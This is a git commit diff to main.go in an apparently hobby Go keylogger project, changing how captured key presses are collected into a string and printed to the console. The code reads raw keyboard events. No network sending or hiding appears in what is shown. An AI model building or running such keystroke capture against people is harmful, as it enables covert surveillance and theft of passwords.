adding a return string
This commit is contained in:
parent
580350f08d
commit
2e88f8f060
23
main.go
23
main.go
|
@ -112,14 +112,24 @@ func (k *KeyLogger) Close() error {
|
|||
}
|
||||
|
||||
func output(input InputStream) {
|
||||
res := []string{}
|
||||
var res string
|
||||
for {
|
||||
if input.event.KeyString() != "" {
|
||||
res = append(res, input.event.KeyString())
|
||||
res += input.event.KeyString()
|
||||
}
|
||||
fmt.Println(res)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func join(strs ...string) string {
|
||||
var sb strings.Builder
|
||||
for _, str := range strs {
|
||||
sb.WriteString(str)
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func main() {
|
||||
fmt.Println("Your keyboard input will be here: ", getKeyboard())
|
||||
// TODO
|
||||
|
@ -134,18 +144,19 @@ func main() {
|
|||
}
|
||||
defer klog.Close()
|
||||
events := klog.Read()
|
||||
stream := InputStream{}
|
||||
go output(stream)
|
||||
|
||||
// stream := InputStream{}
|
||||
var b strings.Builder
|
||||
for e := range events {
|
||||
switch e.Type {
|
||||
|
||||
case utils.EvKey:
|
||||
if e.KeyPress() {
|
||||
stream.event = e
|
||||
b.WriteString(e.KeyString())
|
||||
}
|
||||
|
||||
break
|
||||
default:
|
||||
fmt.Println(b.String())
|
||||
}
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in a new issue